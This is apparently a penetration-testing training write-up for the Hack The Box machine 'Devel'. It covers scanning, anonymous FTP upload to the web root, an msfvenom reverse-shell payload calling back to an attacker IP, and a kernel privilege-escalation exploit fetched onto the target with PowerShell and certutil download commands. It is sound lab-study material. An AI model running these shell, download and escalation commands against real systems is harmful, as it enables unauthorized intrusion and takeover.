> For the complete documentation index, see [llms.txt](https://rahisec.gitbook.io/oscp-playbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rahisec.gitbook.io/oscp-playbook/oscp-like-windows-boxes/page-1.md).

# Devel

## Devel

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-29151c15b7430e661acb2e97d960f0abbf3fc8b6%2FUntitled.png?alt=media)

## Reconnaissance

#### Running Quick initial Nmap Scan

```ruby
sudo nmap -sC -sV -O -oN nmap/initial 10.10.10.5
```

> **-sC** : Scan with nmap’s default script **-sV** : Service detection **-O** : OS detection

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-de2cbb1b612a611d772b9c80fe5f403f6260bef7%2FUntitled%201.png?alt=media)

#### Running the full scan

To make sure we’ve covered all the ports.

```python
sudo nmap -sC -sV -O -p- -oN nmap/full 10.10.10.5
```

* -p- : scan all the ports

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-291b65529714a0daa7f2fd621d37d2b1d1abf295%2FUntitled%202.png?alt=media)

We’ve got the same Result

#### Running udp scan

```python
sudo nmap -sU -O -oN nmap/udp 10.10.10.5
```

* -sU : udp scan

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-a3b4aa18554f2b9be94b83f00ddbaeb97457f8d4%2FUntitled%203.png?alt=media)

Nothing found.

### Attack vectors

* [ ] 21 - ftp — anonymous login allowed
* [ ] 80 - running http server.

## Enumeration

Let’s have a peak in port 80, which is default webpage

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-72696aac6570d651469b91a7a3a0eba4715033aa%2FUntitled%204.png?alt=media)

Now have look in ftp. As it allowed anonymous login we can easily log in by these default creds

```python
user : anonymous
pass :
```

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-8b89803c3bdfba22db9ef1e5c6408fb7e83b3d0c%2FUntitled%205.png?alt=media)

If you try accessing these file from web you can do that. May be the FTP server is in the same root as the HTTP server. lets test it,

* upload a file via ftp
* access that file in the web

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-a730fd09ab8caa9ce911cb68ac27f1808bf6f094%2FUntitled%206.png?alt=media)

FTP commands:

> * **put filename** : will upload local file to target ftp server

* ls : show the directory

>

Accessing the file in web.

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-612862fa9070fddff80851a8373a02d0495553fd%2FUntitled%207.png?alt=media)

we can access. So we also can execute arbitrary payload by uploading via ftp.

## Gaining Foothold

**Making a reverse shell via msfvenom**

```python

msfvenom -p windows/reverse_tcp LHOST=10.10.16.70 LPORT=9999 -f aspx -o payload.aspx
```

* **-p** : payload type.
* **-LHOST** : my local host where the server will contact
* **-LPORT** : the port on which it will connect
* **-f** : payload type. as our target server is windows we used `aspx` extension
* **-o** : output location and file name

Uploading the `payload.aspx`

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-d6de23377b71829cea8e8ae4d96b426a8b3da0d4%2FUntitled%208.png?alt=media)

Starting a listener on port 9999

```python
nc -lnvp 9999
```

Executing the payload by accessing that file in the web

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-fb551879a6a78e191918ee11bb9c31ad0fe29e2d%2FUntitled%209.png?alt=media)

And we get the shell.

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-9121cfff3640c4fcac814f489dbaf1115f42a4d3%2FUntitled%2010.png?alt=media)

Okay, First thing first lets try to access the user flag .

`cd c:\users`

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-efab883cc0fa8d89facf6f97a86ead521071ef92%2FUntitled%2011.png?alt=media)

Trying to access `babis`

`cd babis`

permission denied …

Administrator is also the same

Let's have basic enumeration throughout the machine.

`systeminfo` :

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-5fb57f77d9da43710559cda903c30d9257a04e2d%2FUntitled%2012.png?alt=media)

* It's windows 7 enterprise
* Build 7600 ( quite old , should have vulnerabilities)
* Its running on `32 bit`
* And no `hotfix` available.

**Turning on Hackers Mind:**

So let's search for exploit

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-bb5e1abc1391b6c820bf5bcc9cd5ceea4a112814%2FUntitled%2013.png?alt=media)

And yeah it has an exploit. Let's follow the first link. It's a kernel exploit .

It's exploit db. To copy the exploit we just need the `EBD-ID`

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-5b5fd4933d0757c0868d8bfc7f62a719c3e0c020%2FUntitled%2014.png?alt=media)

It has instructions too , it will be a great help.

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-2dad0f30e9f848e64bb95e27c7a5d95a7c8fb135%2FUntitled%2015.png?alt=media)

Before doing that you should update your local searchsploit database

`searchsploit -u`

Search for the payload using searchsploit

`searchsploit 40564`

Copying/mirroring the payload in current folder

`searchsploit -m 40564`

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-1ac187581c5fec543bcc655850bb1f254a0523d9%2FUntitled%2016.png?alt=media)

Now, read the payloads and its usage.

According to the instructions we need to compile the payload first according to the machine we are attacking.

We are attacking the `32 bit` machine.

To download the compiler use the following commnd

```python
sudo apt-get install gcc-mingw-w64
```

Now compile the payload `40564.c` to `exploit.exe` by using following command.

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-80ceab255633e4dc26e426d17d25bfa011d892b5%2FUntitled%2017.png?alt=media)

### Payload delivery

First Run an http server in our attacker machine. Which will create a server and will make our current directory accessible from internet. And our current directory will contain the payload.

```python
python3 -m http.server 1337
```

* 1337 is our port in which our server is running.

Now find our local ip.

```python
ipconfig 
```

`tun0` should be our local ip

***Process 1: via powershell***

```python
powershell -c "(new-object System.Net.WebClient).DownloadFile('[http://10.10.16.70:1337/exploit.exe](http://10.10.16.70:1337/exploit.exe)', 'c:\Users\Public\Downloads\exploit.exe')"
```

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-dbf104ceee698420f228859a06ec69fec51c9a24%2FUntitled%2018.png?alt=media)

or

***Process 2: Via\*\*\*\* ****`certutil`****. It's the most convenient way***

```python
certutil.exe -urlcache -split -f http://10.10.16.70:1337/exploit.exe
```

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-ae160c0486b2feff1f6a217fbe5b265b076e4173%2FUntitled%2019.png?alt=media)

Sending payload to the victim machine is successful.

Now negative to that specific folder where the payload is uploaded. And simply run the exploit.

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-c8a422ead92b4d2742586bc18ea409a1d0614ea3%2FUntitled%2020.png?alt=media)

And that's it. We Became `root` .

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-1f12fe7c579ad1d5ea9503b7c96dad0c75232eb4%2FUntitled%2021.png?alt=media)

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-093f5304f7a4ab28088d241a01493226e627c1de%2FUntitled%2022.png?alt=media)

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-9ed61d1ca960fcae16a5e9725b4df20280f7745c%2FUntitled%2023.png?alt=media)

![Untitled](https://1889824719-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOVsk0OP6lls6UTHiEZ5Y%2Fuploads%2Fgit-blob-dc654adb67c0283bb5803a88a7933d718a8eb8ce%2FUntitled%2024.png?alt=media)